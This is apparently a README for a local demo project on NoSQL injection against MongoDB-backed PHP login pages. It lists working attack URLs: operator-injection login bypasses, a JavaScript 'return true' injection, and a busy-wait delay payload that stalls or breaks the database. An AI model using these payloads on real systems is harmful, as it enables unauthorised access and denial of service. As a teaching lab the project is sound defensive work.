NoSQLInjectionAttackDemo is website demo for test NoSQL Injection. There are two website demos in this project and all databases are mongoDB
Install web server for example nginx, apache on local computer. On a Debian, Red Hat based system or windows are ok.
demo : http://localhost/github/NoSQLInjectionAttackDemo/demo.html
demo_1 : http://localhost/github/NoSQLInjectionAttackDemo/demo_1.html
Open url in the browser: http://localhost/github/NoSQLInjectionAttackDemo/demo.html
Attack URL for demo:
- http://localhost/github/NoSQLInjectionAttackDemo/login/login.php?username[$ne]=2&password[$ne]=r
- http://localhost/github/NoSQLInjectionAttackDemo/login/login.php?username[$gt]=&password[$gt]=
Attack URL for demo_1:
- http://localhost/github/NoSQLInjectionAttackDemo/login/login_1.php?username=1&password=2;return true;}// 无论用户密码是否正确都返回true
- http://localhost/github/NoSQLInjectionAttackDemo/login/login_1.php?username=1&password=2;var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/100 < 20); return true;}// 将系统延迟20秒，如果改成while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 20); 则可以导致数据库报错。.
NoSQL injection attack detection: